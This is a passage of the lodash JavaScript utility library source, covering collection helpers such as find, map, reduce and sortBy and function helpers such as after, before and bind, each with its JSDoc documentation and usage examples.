9278 * `predicate` returns truthy for. The predicate is invoked with three
9279 * arguments: (value, index|key, collection).
9280 *
9281 * @static
9282 * @memberOf _
9283 * @since 0.1.0
9284 * @category Collection
9285 * @param {Array|Object} collection The collection to inspect.
9286 * @param {Function} [predicate=_.identity] The function invoked per iteration.
9287 * @param {number} [fromIndex=0] The index to search from.
9288 * @returns {*} Returns the matched element, else `undefined`.
9289 * @example
9290 *
9291 * var users = [
9292 * { 'user': 'barney', 'age': 36, 'active': true },
9293 * { 'user': 'fred', 'age': 40, 'active': false },
9294 * { 'user': 'pebbles', 'age': 1, 'active': true }
9295 * ];
9296 *
9297 * _.find(users, function(o) { return o.age < 40; });
9298 * // => object for 'barney'
9299 *
9300 * // The `_.matches` iteratee shorthand.
9301 * _.find(users, { 'age': 1, 'active': true });
9302 * // => object for 'pebbles'
9303 *
9304 * // The `_.matchesProperty` iteratee shorthand.
9305 * _.find(users, ['active', false]);
9306 * // => object for 'fred'
9307 *
9308 * // The `_.property` iteratee shorthand.
9309 * _.find(users, 'active');
9310 * // => object for 'barney'
9311 */
9312 var find = createFind(findIndex);
9313
9314 /**
9315 * This method is like `_.find` except that it iterates over elements of
9316 * `collection` from right to left.
9317 *
9318 * @static
9319 * @memberOf _
9320 * @since 2.0.0
9321 * @category Collection
9322 * @param {Array|Object} collection The collection to inspect.
9323 * @param {Function} [predicate=_.identity] The function invoked per iteration.
9324 * @param {number} [fromIndex=collection.length-1] The index to search from.
9325 * @returns {*} Returns the matched element, else `undefined`.
9326 * @example
9327 *
9328 * _.findLast([1, 2, 3, 4], function(n) {
9329 * return n % 2 == 1;
9330 * });
9331 * // => 3
9332 */
9333 var findLast = createFind(findLastIndex);
9334
9335 /**
9336 * Creates a flattened array of values by running each element in `collection`
9337 * thru `iteratee` and flattening the mapped results. The iteratee is invoked
9338 * with three arguments: (value, index|key, collection).
9339 *
9340 * @static
9341 * @memberOf _
9342 * @since 4.0.0
9343 * @category Collection
9344 * @param {Array|Object} collection The collection to iterate over.
9345 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
9346 * @returns {Array} Returns the new flattened array.
9347 * @example
9348 *
9349 * function duplicate(n) {
9350 * return [n, n];
9351 * }
9352 *
9353 * _.flatMap([1, 2], duplicate);
9354 * // => [1, 1, 2, 2]
9355 */
9356 function flatMap(collection, iteratee) {
9357 return baseFlatten(map(collection, iteratee), 1);
9358 }
9359
9360 /**
9361 * This method is like `_.flatMap` except that it recursively flattens the
9362 * mapped results.
9363 *
9364 * @static
9365 * @memberOf _
9366 * @since 4.7.0
9367 * @category Collection
9368 * @param {Array|Object} collection The collection to iterate over.
9369 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
9370 * @returns {Array} Returns the new flattened array.
9371 * @example
9372 *
9373 * function duplicate(n) {
9374 * return [[[n, n]]];
9375 * }
9376 *
9377 * _.flatMapDeep([1, 2], duplicate);
9378 * // => [1, 1, 2, 2]
9379 */
9380 function flatMapDeep(collection, iteratee) {
9381 return baseFlatten(map(collection, iteratee), INFINITY);
9382 }
9383
9384 /**
9385 * This method is like `_.flatMap` except that it recursively flattens the
9386 * mapped results up to `depth` times.
9387 *
9388 * @static
9389 * @memberOf _
9390 * @since 4.7.0
9391 * @category Collection
9392 * @param {Array|Object} collection The collection to iterate over.
9393 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
9394 * @param {number} [depth=1] The maximum recursion depth.
9395 * @returns {Array} Returns the new flattened array.
9396 * @example
9397 *
9398 * function duplicate(n) {
9399 * return [[[n, n]]];
9400 * }
9401 *
9402 * _.flatMapDepth([1, 2], duplicate, 2);
9403 * // => [[1, 1], [2, 2]]
9404 */
9405 function flatMapDepth(collection, iteratee, depth) {
9406 depth = depth === undefined ? 1 : toInteger(depth);
9407 return baseFlatten(map(collection, iteratee), depth);
9408 }
9409
9410 /**
9411 * Iterates over elements of `collection` and invokes `iteratee` for each element.
9412 * The iteratee is invoked with three arguments: (value, index|key, collection).
9413 * Iteratee functions may exit iteration early by explicitly returning `false`.
9414 *
9415 * **Note:** As with other "Collections" methods, objects with a "length"
9416 * property are iterated like arrays. To avoid this behavior use `_.forIn`
9417 * or `_.forOwn` for object iteration.
9418 *
9419 * @static
9420 * @memberOf _
9421 * @since 0.1.0
9422 * @alias each
9423 * @category Collection
9424 * @param {Array|Object} collection The collection to iterate over.
9425 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
9426 * @returns {Array|Object} Returns `collection`.
9427 * @see _.forEachRight
9428 * @example
9429 *
9430 * _.forEach([1, 2], function(value) {
9431 * console.log(value);
9432 * });
9433 * // => Logs `1` then `2`.
9434 *
9435 * _.forEach({ 'a': 1, 'b': 2 }, function(value, key) {
9436 * console.log(key);
9437 * });
9438 * // => Logs 'a' then 'b' (iteration order is not guaranteed).
9439 */
9440 function forEach(collection, iteratee) {
9441 var func = isArray(collection) ? arrayEach : baseEach;
9442 return func(collection, getIteratee(iteratee, 3));
9443 }
9444
9445 /**
9446 * This method is like `_.forEach` except that it iterates over elements of
9447 * `collection` from right to left.
9448 *
9449 * @static
9450 * @memberOf _
9451 * @since 2.0.0
9452 * @alias eachRight
9453 * @category Collection
9454 * @param {Array|Object} collection The collection to iterate over.
9455 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
9456 * @returns {Array|Object} Returns `collection`.
9457 * @see _.forEach
9458 * @example
9459 *
9460 * _.forEachRight([1, 2], function(value) {
9461 * console.log(value);
9462 * });
9463 * // => Logs `2` then `1`.
9464 */
9465 function forEachRight(collection, iteratee) {
9466 var func = isArray(collection) ? arrayEachRight : baseEachRight;
9467 return func(collection, getIteratee(iteratee, 3));
9468 }
9469
9470 /**
9471 * Creates an object composed of keys generated from the results of running
9472 * each element of `collection` thru `iteratee`. The order of grouped values
9473 * is determined by the order they occur in `collection`. The corresponding
9474 * value of each key is an array of elements responsible for generating the
9475 * key. The iteratee is invoked with one argument: (value).
9476 *
9477 * @static
9478 * @memberOf _
9479 * @since 0.1.0
9480 * @category Collection
9481 * @param {Array|Object} collection The collection to iterate over.
9482 * @param {Function} [iteratee=_.identity] The iteratee to transform keys.
9483 * @returns {Object} Returns the composed aggregate object.
9484 * @example
9485 *
9486 * _.groupBy([6.1, 4.2, 6.3], Math.floor);
9487 * // => { '4': [4.2], '6': [6.1, 6.3] }
9488 *
9489 * // The `_.property` iteratee shorthand.
9490 * _.groupBy(['one', 'two', 'three'], 'length');
9491 * // => { '3': ['one', 'two'], '5': ['three'] }
9492 */
9493 var groupBy = createAggregator(function(result, value, key) {
9494 if (hasOwnProperty.call(result, key)) {
9495 result[key].push(value);
9496 } else {
9497 baseAssignValue(result, key, [value]);
9498 }
9499 });
9500
9501 /**
9502 * Checks if `value` is in `collection`. If `collection` is a string, it's
9503 * checked for a substring of `value`, otherwise
9504 * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
9505 * is used for equality comparisons. If `fromIndex` is negative, it's used as
9506 * the offset from the end of `collection`.
9507 *
9508 * @static
9509 * @memberOf _
9510 * @since 0.1.0
9511 * @category Collection
9512 * @param {Array|Object|string} collection The collection to inspect.
9513 * @param {*} value The value to search for.
9514 * @param {number} [fromIndex=0] The index to search from.
9515 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`.
9516 * @returns {boolean} Returns `true` if `value` is found, else `false`.
9517 * @example
9518 *
9519 * _.includes([1, 2, 3], 1);
9520 * // => true
9521 *
9522 * _.includes([1, 2, 3], 1, 2);
9523 * // => false
9524 *
9525 * _.includes({ 'a': 1, 'b': 2 }, 1);
9526 * // => true
9527 *
9528 * _.includes('abcd', 'bc');
9529 * // => true
9530 */
9531 function includes(collection, value, fromIndex, guard) {
9532 collection = isArrayLike(collection) ? collection : values(collection);
9533 fromIndex = (fromIndex && !guard) ? toInteger(fromIndex) : 0;
9534
9535 var length = collection.length;
9536 if (fromIndex < 0) {
9537 fromIndex = nativeMax(length + fromIndex, 0);
9538 }
9539 return isString(collection)
9540 ? (fromIndex <= length && collection.indexOf(value, fromIndex) > -1)
9541 : (!!length && baseIndexOf(collection, value, fromIndex) > -1);
9542 }
9543
9544 /**
9545 * Invokes the method at `path` of each element in `collection`, returning
9546 * an array of the results of each invoked method. Any additional arguments
9547 * are provided to each invoked method. If `path` is a function, it's invoked
9548 * for, and `this` bound to, each element in `collection`.
9549 *
9550 * @static
9551 * @memberOf _
9552 * @since 4.0.0
9553 * @category Collection
9554 * @param {Array|Object} collection The collection to iterate over.
9555 * @param {Array|Function|string} path The path of the method to invoke or
9556 * the function invoked per iteration.
9557 * @param {...*} [args] The arguments to invoke each method with.
9558 * @returns {Array} Returns the array of results.
9559 * @example
9560 *
9561 * _.invokeMap([[5, 1, 7], [3, 2, 1]], 'sort');
9562 * // => [[1, 5, 7], [1, 2, 3]]
9563 *
9564 * _.invokeMap([123, 456], String.prototype.split, '');
9565 * // => [['1', '2', '3'], ['4', '5', '6']]
9566 */
9567 var invokeMap = baseRest(function(collection, path, args) {
9568 var index = -1,
9569 isFunc = typeof path == 'function',
9570 result = isArrayLike(collection) ? Array(collection.length) : [];
9571
9572 baseEach(collection, function(value) {
9573 result[++index] = isFunc ? apply(path, value, args) : baseInvoke(value, path, args);
9574 });
9575 return result;
9576 });
9577
9578 /**
9579 * Creates an object composed of keys generated from the results of running
9580 * each element of `collection` thru `iteratee`. The corresponding value of
9581 * each key is the last element responsible for generating the key. The
9582 * iteratee is invoked with one argument: (value).
9583 *
9584 * @static
9585 * @memberOf _
9586 * @since 4.0.0
9587 * @category Collection
9588 * @param {Array|Object} collection The collection to iterate over.
9589 * @param {Function} [iteratee=_.identity] The iteratee to transform keys.
9590 * @returns {Object} Returns the composed aggregate object.
9591 * @example
9592 *
9593 * var array = [
9594 * { 'dir': 'left', 'code': 97 },
9595 * { 'dir': 'right', 'code': 100 }
9596 * ];
9597 *
9598 * _.keyBy(array, function(o) {
9599 * return String.fromCharCode(o.code);
9600 * });
9601 * // => { 'a': { 'dir': 'left', 'code': 97 }, 'd': { 'dir': 'right', 'code': 100 } }
9602 *
9603 * _.keyBy(array, 'dir');
9604 * // => { 'left': { 'dir': 'left', 'code': 97 }, 'right': { 'dir': 'right', 'code': 100 } }
9605 */
9606 var keyBy = createAggregator(function(result, value, key) {
9607 baseAssignValue(result, key, value);
9608 });
9609
9610 /**
9611 * Creates an array of values by running each element in `collection` thru
9612 * `iteratee`. The iteratee is invoked with three arguments:
9613 * (value, index|key, collection).
9614 *
9615 * Many lodash methods are guarded to work as iteratees for methods like
9616 * `_.every`, `_.filter`, `_.map`, `_.mapValues`, `_.reject`, and `_.some`.
9617 *
9618 * The guarded methods are:
9619 * `ary`, `chunk`, `curry`, `curryRight`, `drop`, `dropRight`, `every`,
9620 * `fill`, `invert`, `parseInt`, `random`, `range`, `rangeRight`, `repeat`,
9621 * `sampleSize`, `slice`, `some`, `sortBy`, `split`, `take`, `takeRight`,
9622 * `template`, `trim`, `trimEnd`, `trimStart`, and `words`
9623 *
9624 * @static
9625 * @memberOf _
9626 * @since 0.1.0
9627 * @category Collection
9628 * @param {Array|Object} collection The collection to iterate over.
9629 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
9630 * @returns {Array} Returns the new mapped array.
9631 * @example
9632 *
9633 * function square(n) {
9634 * return n * n;
9635 * }
9636 *
9637 * _.map([4, 8], square);
9638 * // => [16, 64]
9639 *
9640 * _.map({ 'a': 4, 'b': 8 }, square);
9641 * // => [16, 64] (iteration order is not guaranteed)
9642 *
9643 * var users = [
9644 * { 'user': 'barney' },
9645 * { 'user': 'fred' }
9646 * ];
9647 *
9648 * // The `_.property` iteratee shorthand.
9649 * _.map(users, 'user');
9650 * // => ['barney', 'fred']
9651 */
9652 function map(collection, iteratee) {
9653 var func = isArray(collection) ? arrayMap : baseMap;
9654 return func(collection, getIteratee(iteratee, 3));
9655 }
9656
9657 /**
9658 * This method is like `_.sortBy` except that it allows specifying the sort
9659 * orders of the iteratees to sort by. If `orders` is unspecified, all values
9660 * are sorted in ascending order. Otherwise, specify an order of "desc" for
9661 * descending or "asc" for ascending sort order of corresponding values.
9662 *
9663 * @static
9664 * @memberOf _
9665 * @since 4.0.0
9666 * @category Collection
9667 * @param {Array|Object} collection The collection to iterate over.
9668 * @param {Array[]|Function[]|Object[]|string[]} [iteratees=[_.identity]]
9669 * The iteratees to sort by.
9670 * @param {string[]} [orders] The sort orders of `iteratees`.
9671 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`.
9672 * @returns {Array} Returns the new sorted array.
9673 * @example
9674 *
9675 * var users = [
9676 * { 'user': 'fred', 'age': 48 },
9677 * { 'user': 'barney', 'age': 34 },
9678 * { 'user': 'fred', 'age': 40 },
9679 * { 'user': 'barney', 'age': 36 }
9680 * ];
9681 *
9682 * // Sort by `user` in ascending order and by `age` in descending order.
9683 * _.orderBy(users, ['user', 'age'], ['asc', 'desc']);
9684 * // => objects for [['barney', 36], ['barney', 34], ['fred', 48], ['fred', 40]]
9685 */
9686 function orderBy(collection, iteratees, orders, guard) {
9687 if (collection == null) {
9688 return [];
9689 }
9690 if (!isArray(iteratees)) {
9691 iteratees = iteratees == null ? [] : [iteratees];
9692 }
9693 orders = guard ? undefined : orders;
9694 if (!isArray(orders)) {
9695 orders = orders == null ? [] : [orders];
9696 }
9697 return baseOrderBy(collection, iteratees, orders);
9698 }
9699
9700 /**
9701 * Creates an array of elements split into two groups, the first of which
9702 * contains elements `predicate` returns truthy for, the second of which
9703 * contains elements `predicate` returns falsey for. The predicate is
9704 * invoked with one argument: (value).
9705 *
9706 * @static
9707 * @memberOf _
9708 * @since 3.0.0
9709 * @category Collection
9710 * @param {Array|Object} collection The collection to iterate over.
9711 * @param {Function} [predicate=_.identity] The function invoked per iteration.
9712 * @returns {Array} Returns the array of grouped elements.
9713 * @example
9714 *
9715 * var users = [
9716 * { 'user': 'barney', 'age': 36, 'active': false },
9717 * { 'user': 'fred', 'age': 40, 'active': true },
9718 * { 'user': 'pebbles', 'age': 1, 'active': false }
9719 * ];
9720 *
9721 * _.partition(users, function(o) { return o.active; });
9722 * // => objects for [['fred'], ['barney', 'pebbles']]
9723 *
9724 * // The `_.matches` iteratee shorthand.
9725 * _.partition(users, { 'age': 1, 'active': false });
9726 * // => objects for [['pebbles'], ['barney', 'fred']]
9727 *
9728 * // The `_.matchesProperty` iteratee shorthand.
9729 * _.partition(users, ['active', false]);
9730 * // => objects for [['barney', 'pebbles'], ['fred']]
9731 *
9732 * // The `_.property` iteratee shorthand.
9733 * _.partition(users, 'active');
9734 * // => objects for [['fred'], ['barney', 'pebbles']]
9735 */
9736 var partition = createAggregator(function(result, value, key) {
9737 result[key ? 0 : 1].push(value);
9738 }, function() { return [[], []]; });
9739
9740 /**
9741 * Reduces `collection` to a value which is the accumulated result of running
9742 * each element in `collection` thru `iteratee`, where each successive
9743 * invocation is supplied the return value of the previous. If `accumulator`
9744 * is not given, the first element of `collection` is used as the initial
9745 * value. The iteratee is invoked with four arguments:
9746 * (accumulator, value, index|key, collection).
9747 *
9748 * Many lodash methods are guarded to work as iteratees for methods like
9749 * `_.reduce`, `_.reduceRight`, and `_.transform`.
9750 *
9751 * The guarded methods are:
9752 * `assign`, `defaults`, `defaultsDeep`, `includes`, `merge`, `orderBy`,
9753 * and `sortBy`
9754 *
9755 * @static
9756 * @memberOf _
9757 * @since 0.1.0
9758 * @category Collection
9759 * @param {Array|Object} collection The collection to iterate over.
9760 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
9761 * @param {*} [accumulator] The initial value.
9762 * @returns {*} Returns the accumulated value.
9763 * @see _.reduceRight
9764 * @example
9765 *
9766 * _.reduce([1, 2], function(sum, n) {
9767 * return sum + n;
9768 * }, 0);
9769 * // => 3
9770 *
9771 * _.reduce({ 'a': 1, 'b': 2, 'c': 1 }, function(result, value, key) {
9772 * (result[value] || (result[value] = [])).push(key);
9773 * return result;
9774 * }, {});
9775 * // => { '1': ['a', 'c'], '2': ['b'] } (iteration order is not guaranteed)
9776 */
9777 function reduce(collection, iteratee, accumulator) {
9778 var func = isArray(collection) ? arrayReduce : baseReduce,
9779 initAccum = arguments.length < 3;
9780
9781 return func(collection, getIteratee(iteratee, 4), accumulator, initAccum, baseEach);
9782 }
9783
9784 /**
9785 * This method is like `_.reduce` except that it iterates over elements of
9786 * `collection` from right to left.
9787 *
9788 * @static
9789 * @memberOf _
9790 * @since 0.1.0
9791 * @category Collection
9792 * @param {Array|Object} collection The collection to iterate over.
9793 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
9794 * @param {*} [accumulator] The initial value.
9795 * @returns {*} Returns the accumulated value.
9796 * @see _.reduce
9797 * @example
9798 *
9799 * var array = [[0, 1], [2, 3], [4, 5]];
9800 *
9801 * _.reduceRight(array, function(flattened, other) {
9802 * return flattened.concat(other);
9803 * }, []);
9804 * // => [4, 5, 2, 3, 0, 1]
9805 */
9806 function reduceRight(collection, iteratee, accumulator) {
9807 var func = isArray(collection) ? arrayReduceRight : baseReduce,
9808 initAccum = arguments.length < 3;
9809
9810 return func(collection, getIteratee(iteratee, 4), accumulator, initAccum, baseEachRight);
9811 }
9812
9813 /**
9814 * The opposite of `_.filter`; this method returns the elements of `collection`
9815 * that `predicate` does **not** return truthy for.
9816 *
9817 * @static
9818 * @memberOf _
9819 * @since 0.1.0
9820 * @category Collection
9821 * @param {Array|Object} collection The collection to iterate over.
9822 * @param {Function} [predicate=_.identity] The function invoked per iteration.
9823 * @returns {Array} Returns the new filtered array.
9824 * @see _.filter
9825 * @example
9826 *
9827 * var users = [
9828 * { 'user': 'barney', 'age': 36, 'active': false },
9829 * { 'user': 'fred', 'age': 40, 'active': true }
9830 * ];
9831 *
9832 * _.reject(users, function(o) { return !o.active; });
9833 * // => objects for ['fred']
9834 *
9835 * // The `_.matches` iteratee shorthand.
9836 * _.reject(users, { 'age': 40, 'active': true });
9837 * // => objects for ['barney']
9838 *
9839 * // The `_.matchesProperty` iteratee shorthand.
9840 * _.reject(users, ['active', false]);
9841 * // => objects for ['fred']
9842 *
9843 * // The `_.property` iteratee shorthand.
9844 * _.reject(users, 'active');
9845 * // => objects for ['barney']
9846 */
9847 function reject(collection, predicate) {
9848 var func = isArray(collection) ? arrayFilter : baseFilter;
9849 return func(collection, negate(getIteratee(predicate, 3)));
9850 }
9851
9852 /**
9853 * Gets a random element from `collection`.
9854 *
9855 * @static
9856 * @memberOf _
9857 * @since 2.0.0
9858 * @category Collection
9859 * @param {Array|Object} collection The collection to sample.
9860 * @returns {*} Returns the random element.
9861 * @example
9862 *
9863 * _.sample([1, 2, 3, 4]);
9864 * // => 2
9865 */
9866 function sample(collection) {
9867 var func = isArray(collection) ? arraySample : baseSample;
9868 return func(collection);
9869 }
9870
9871 /**
9872 * Gets `n` random elements at unique keys from `collection` up to the
9873 * size of `collection`.
9874 *
9875 * @static
9876 * @memberOf _
9877 * @since 4.0.0
9878 * @category Collection
9879 * @param {Array|Object} collection The collection to sample.
9880 * @param {number} [n=1] The number of elements to sample.
9881 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
9882 * @returns {Array} Returns the random elements.
9883 * @example
9884 *
9885 * _.sampleSize([1, 2, 3], 2);
9886 * // => [3, 1]
9887 *
9888 * _.sampleSize([1, 2, 3], 4);
9889 * // => [2, 3, 1]
9890 */
9891 function sampleSize(collection, n, guard) {
9892 if ((guard ? isIterateeCall(collection, n, guard) : n === undefined)) {
9893 n = 1;
9894 } else {
9895 n = toInteger(n);
9896 }
9897 var func = isArray(collection) ? arraySampleSize : baseSampleSize;
9898 return func(collection, n);
9899 }
9900
9901 /**
9902 * Creates an array of shuffled values, using a version of the
9903 * [Fisher-Yates shuffle](https://en.wikipedia.org/wiki/Fisher-Yates_shuffle).
9904 *
9905 * @static
9906 * @memberOf _
9907 * @since 0.1.0
9908 * @category Collection
9909 * @param {Array|Object} collection The collection to shuffle.
9910 * @returns {Array} Returns the new shuffled array.
9911 * @example
9912 *
9913 * _.shuffle([1, 2, 3, 4]);
9914 * // => [4, 1, 3, 2]
9915 */
9916 function shuffle(collection) {
9917 var func = isArray(collection) ? arrayShuffle : baseShuffle;
9918 return func(collection);
9919 }
9920
9921 /**
9922 * Gets the size of `collection` by returning its length for array-like
9923 * values or the number of own enumerable string keyed properties for objects.
9924 *
9925 * @static
9926 * @memberOf _
9927 * @since 0.1.0
9928 * @category Collection
9929 * @param {Array|Object|string} collection The collection to inspect.
9930 * @returns {number} Returns the collection size.
9931 * @example
9932 *
9933 * _.size([1, 2, 3]);
9934 * // => 3
9935 *
9936 * _.size({ 'a': 1, 'b': 2 });
9937 * // => 2
9938 *
9939 * _.size('pebbles');
9940 * // => 7
9941 */
9942 function size(collection) {
9943 if (collection == null) {
9944 return 0;
9945 }
9946 if (isArrayLike(collection)) {
9947 return isString(collection) ? stringSize(collection) : collection.length;
9948 }
9949 var tag = getTag(collection);
9950 if (tag == mapTag || tag == setTag) {
9951 return collection.size;
9952 }
9953 return baseKeys(collection).length;
9954 }
9955
9956 /**
9957 * Checks if `predicate` returns truthy for **any** element of `collection`.
9958 * Iteration is stopped once `predicate` returns truthy. The predicate is
9959 * invoked with three arguments: (value, index|key, collection).
9960 *
9961 * @static
9962 * @memberOf _
9963 * @since 0.1.0
9964 * @category Collection
9965 * @param {Array|Object} collection The collection to iterate over.
9966 * @param {Function} [predicate=_.identity] The function invoked per iteration.
9967 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
9968 * @returns {boolean} Returns `true` if any element passes the predicate check,
9969 * else `false`.
9970 * @example
9971 *
9972 * _.some([null, 0, 'yes', false], Boolean);
9973 * // => true
9974 *
9975 * var users = [
9976 * { 'user': 'barney', 'active': true },
9977 * { 'user': 'fred', 'active': false }
9978 * ];
9979 *
9980 * // The `_.matches` iteratee shorthand.
9981 * _.some(users, { 'user': 'barney', 'active': false });
9982 * // => false
9983 *
9984 * // The `_.matchesProperty` iteratee shorthand.
9985 * _.some(users, ['active', false]);
9986 * // => true
9987 *
9988 * // The `_.property` iteratee shorthand.
9989 * _.some(users, 'active');
9990 * // => true
9991 */
9992 function some(collection, predicate, guard) {
9993 var func = isArray(collection) ? arraySome : baseSome;
9994 if (guard && isIterateeCall(collection, predicate, guard)) {
9995 predicate = undefined;
9996 }
9997 return func(collection, getIteratee(predicate, 3));
9998 }
9999
10000 /**
10001 * Creates an array of elements, sorted in ascending order by the results of
10002 * running each element in a collection thru each iteratee. This method
10003 * performs a stable sort, that is, it preserves the original sort order of
10004 * equal elements. The iteratees are invoked with one argument: (value).
10005 *
10006 * @static
10007 * @memberOf _
10008 * @since 0.1.0
10009 * @category Collection
10010 * @param {Array|Object} collection The collection to iterate over.
10011 * @param {...(Function|Function[])} [iteratees=[_.identity]]
10012 * The iteratees to sort by.
10013 * @returns {Array} Returns the new sorted array.
10014 * @example
10015 *
10016 * var users = [
10017 * { 'user': 'fred', 'age': 48 },
10018 * { 'user': 'barney', 'age': 36 },
10019 * { 'user': 'fred', 'age': 30 },
10020 * { 'user': 'barney', 'age': 34 }
10021 * ];
10022 *
10023 * _.sortBy(users, [function(o) { return o.user; }]);
10024 * // => objects for [['barney', 36], ['barney', 34], ['fred', 48], ['fred', 30]]
10025 *
10026 * _.sortBy(users, ['user', 'age']);
10027 * // => objects for [['barney', 34], ['barney', 36], ['fred', 30], ['fred', 48]]
10028 */
10029 var sortBy = baseRest(function(collection, iteratees) {
10030 if (collection == null) {
10031 return [];
10032 }
10033 var length = iteratees.length;
10034 if (length > 1 && isIterateeCall(collection, iteratees[0], iteratees[1])) {
10035 iteratees = [];
10036 } else if (length > 2 && isIterateeCall(iteratees[0], iteratees[1], iteratees[2])) {
10037 iteratees = [iteratees[0]];
10038 }
10039 return baseOrderBy(collection, baseFlatten(iteratees, 1), []);
10040 });
10041
10042 /*------------------------------------------------------------------------*/
10043
10044 /**
10045 * Gets the timestamp of the number of milliseconds that have elapsed since
10046 * the Unix epoch (1 January 1970 00:00:00 UTC).
10047 *
10048 * @static
10049 * @memberOf _
10050 * @since 2.4.0
10051 * @category Date
10052 * @returns {number} Returns the timestamp.
10053 * @example
10054 *
10055 * _.defer(function(stamp) {
10056 * console.log(_.now() - stamp);
10057 * }, _.now());
10058 * // => Logs the number of milliseconds it took for the deferred invocation.
10059 */
10060 var now = ctxNow || function() {
10061 return root.Date.now();
10062 };
10063
10064 /*------------------------------------------------------------------------*/
10065
10066 /**
10067 * The opposite of `_.before`; this method creates a function that invokes
10068 * `func` once it's called `n` or more times.
10069 *
10070 * @static
10071 * @memberOf _
10072 * @since 0.1.0
10073 * @category Function
10074 * @param {number} n The number of calls before `func` is invoked.
10075 * @param {Function} func The function to restrict.
10076 * @returns {Function} Returns the new restricted function.
10077 * @example
10078 *
10079 * var saves = ['profile', 'settings'];
10080 *
10081 * var done = _.after(saves.length, function() {
10082 * console.log('done saving!');
10083 * });
10084 *
10085 * _.forEach(saves, function(type) {
10086 * asyncSave({ 'type': type, 'complete': done });
10087 * });
10088 * // => Logs 'done saving!' after the two async saves have completed.
10089 */
10090 function after(n, func) {
10091 if (typeof func != 'function') {
10092 throw new TypeError(FUNC_ERROR_TEXT);
10093 }
10094 n = toInteger(n);
10095 return function() {
10096 if (--n < 1) {
10097 return func.apply(this, arguments);
10098 }
10099 };
10100 }
10101
10102 /**
10103 * Creates a function that invokes `func`, with up to `n` arguments,
10104 * ignoring any additional arguments.
10105 *
10106 * @static
10107 * @memberOf _
10108 * @since 3.0.0
10109 * @category Function
10110 * @param {Function} func The function to cap arguments for.
10111 * @param {number} [n=func.length] The arity cap.
10112 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
10113 * @returns {Function} Returns the new capped function.
10114 * @example
10115 *
10116 * _.map(['6', '8', '10'], _.ary(parseInt, 1));
10117 * // => [6, 8, 10]
10118 */
10119 function ary(func, n, guard) {
10120 n = guard ? undefined : n;
10121 n = (func && n == null) ? func.length : n;
10122 return createWrap(func, WRAP_ARY_FLAG, undefined, undefined, undefined, undefined, n);
10123 }
10124
10125 /**
10126 * Creates a function that invokes `func`, with the `this` binding and arguments
10127 * of the created function, while it's called less than `n` times. Subsequent
10128 * calls to the created function return the result of the last `func` invocation.
10129 *
10130 * @static
10131 * @memberOf _
10132 * @since 3.0.0
10133 * @category Function
10134 * @param {number} n The number of calls at which `func` is no longer invoked.
10135 * @param {Function} func The function to restrict.
10136 * @returns {Function} Returns the new restricted function.
10137 * @example
10138 *
10139 * jQuery(element).on('click', _.before(5, addContactToList));
10140 * // => Allows adding up to 4 contacts to the list.
10141 */
10142 function before(n, func) {
10143 var result;
10144 if (typeof func != 'function') {
10145 throw new TypeError(FUNC_ERROR_TEXT);
10146 }
10147 n = toInteger(n);
10148 return function() {
10149 if (--n > 0) {
10150 result = func.apply(this, arguments);
10151 }
10152 if (n <= 1) {
10153 func = undefined;
10154 }
10155 return result;
10156 };
10157 }
10158
10159 /**
10160 * Creates a function that invokes `func` with the `this` binding of `thisArg`
10161 * and `partials` prepended to the arguments it receives.
10162 *
10163 * The `_.bind.placeholder` value, which defaults to `_` in monolithic builds,
10164 * may be used as a placeholder for partially applied arguments.
10165 *
10166 * **Note:** Unlike native `Function#bind`, this method doesn't set the "length"
10167 * property of bound functions.
10168 *
10169 * @static
10170 * @memberOf _
10171 * @since 0.1.0
10172 * @category Function
10173 * @param {Function} func The function to bind.
10174 * @param {*} thisArg The `this` binding of `func`.
10175 * @param {...*} [partials] The arguments to be partially applied.
10176 * @returns {Function} Returns the new bound function.
10177 * @example
10178 *
10179 * function greet(greeting, punctuation) {
10180 * return greeting + ' ' + this.user + punctuation;
10181 * }
10182 *
10183 * var object = { 'user': 'fred' };
10184 *
10185 * var bound = _.bind(greet, object, 'hi');
10186 * bound('!');
10187 * // => 'hi fred!'
10188 *
10189 * // Bound with placeholders.
10190 * var bound = _.bind(greet, object, _, '!');
10191 * bound('hi');
10192 * // => 'hi fred!'
10193 */
10194 var bind = baseRest(function(func, thisArg, partials) {
10195 var bitmask = WRAP_BIND_FLAG;
10196 if (partials.length) {
10197 var holders = replaceHolders(partials, getHolder(bind));
10198 bitmask |= WRAP_PARTIAL_FLAG;
10199 }
10200 return createWrap(func, bitmask, thisArg, partials, holders);
10201 });
10202
10203 /**
10204 * Creates a function that invokes the method at `object[key]` with `partials`
10205 * prepended to the arguments it receives.
10206 *
10207 * This method differs from `_.bind` by allowing bound functions to reference
10208 * methods that may be redefined or don't yet exist. See
10209 * [Peter Michaux's article](http://peter.michaux.ca/articles/lazy-function-definition-pattern)
10210 * for more details.
10211 *
10212 * The `_.bindKey.placeholder` value, which defaults to `_` in monolithic
10213 * builds, may be used as a placeholder for partially applied arguments.
10214 *
10215 * @static
10216 * @memberOf _
10217 * @since 0.10.0
10218 * @category Function
10219 * @param {Object} object The object to invoke the method on.
10220 * @param {string} key The key of the method.
10221 * @param {...*} [partials] The arguments to be partially applied.
10222 * @returns {Function} Returns the new bound function.
10223 * @example
10224 *
10225 * var object = {
10226 * 'user': 'fred',
10227 * 'greet': function(greeting, punctuation) {
10228 * return greeting + ' ' + this.user + punctuation;
10229 * }
10230 * };
10231 *
10232 * var bound = _.bindKey(object, 'greet', 'hi');
10233 * bound('!');
10234 * // => 'hi fred!'
10235 *
10236 * object.greet = function(greeting, punctuation) {
10237 * return greeting + 'ya ' + this.user + punctuation;
10238 * };
10239 *
10240 * bound('!');
10241 * // => 'hiya fred!'
10242 *
10243 * // Bound with placeholders.
10244 * var bound = _.bindKey(object, 'greet', _, '!');
10245 * bound('hi');
10246 * // => 'hiya fred!'
10247 */
10248 var bindKey = baseRest(function(object, key, partials) {
